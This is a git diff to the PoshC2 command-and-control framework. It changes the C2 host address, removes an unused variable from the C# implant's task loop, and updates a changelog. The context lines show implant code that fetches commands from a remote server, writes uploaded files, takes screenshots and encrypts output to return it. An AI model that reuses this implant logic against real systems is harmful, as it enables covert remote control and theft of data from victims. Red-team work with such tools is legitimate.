diff --git a/Config.py b/Config.py index 03cd7e2..d31d024 100644 --- a/Config.py +++ b/Config.py @@ -6,7 +6,7 @@ PORT_NUMBER = 443 POSHDIR = "/opt/PoshC2_Python/" ROOTDIR = "/opt/PoshC2_Project/" -HostnameIP = "https://172.16.0.124" +HostnameIP = "https://192.168.233.1" DomainFrontHeader = "" # example df.azureedge.net DefaultSleep = "5" KillDate = "08/06/2019" diff --git a/Files/Implant-Core.cs b/Files/Implant-Core.cs index fd39581..1c9399c 100644 --- a/Files/Implant-Core.cs +++ b/Files/Implant-Core.cs @@ -359,7 +359,7 @@ public class Program output.Length = 0; try { - String x = "", tasksrc = "", cmd = null; + String x = "", cmd = null; try { cmd = GetWebRequest(null).DownloadString(UrlGen.GenerateUrl()); @@ -378,7 +378,6 @@ public class Program { var taskId = c.Substring(0, 5); cmd = c.Substring(5, c.Length - 5); - tasksrc = cmd; if (cmd.ToLower().StartsWith("exit")) { exitvt.Set(); @@ -396,7 +395,6 @@ public class Program Console.WriteLine("Uploaded file to: " + splitargs[1]); var fileBytes = Convert.FromBase64String(splitargs[0]); System.IO.File.WriteAllBytes(splitargs[1].Replace("\"", ""), fileBytes); - tasksrc = "Uploaded file sucessfully"; } else if (cmd.ToLower().StartsWith("download-file")) { @@ -426,7 +424,6 @@ public class Program sShotCount++; if (sShotCount > 100) { sShot = false; - tasksrc = "Finished Multi"; var sbc = strOutput.GetStringBuilder(); sbc.Remove(0, sbc.Length); output.Append("[+] Multi Screenshot Ran Sucessfully"); @@ -484,8 +481,6 @@ public class Program output.AppendLine(strOutput.ToString()); var sb = strOutput.GetStringBuilder(); sb.Remove(0, sb.Length); - if (tasksrc.Length > 200) // This is not used? - tasksrc = tasksrc.Substring(0, 199); var enTaskId = Encryption(Key, taskId); var coutput = Encryption(Key, output.ToString(), true); var outputBytes = System.Convert.FromBase64String(coutput); diff --git a/changelog.txt b/changelog.txt index c658cda..77ab6b8 100644 --- a/changelog.txt +++ b/changelog.txt @@ -18,7 +18,8 @@ Adjust user/host printing to always be domain\user @ host in implants & logs Fix CreateRawBase payload creation, used in gzip powershell stager and commands like get-system Added ImplantID to Tasks table as a foreign key, so it's logged in the Tasks report Added Testing.md for testing checklist/methodology - +Fix Get-ScreenshotAllWindows to return correct file extension +Fix searchhelp for commands with caps 4.7 (03/02/19) ==============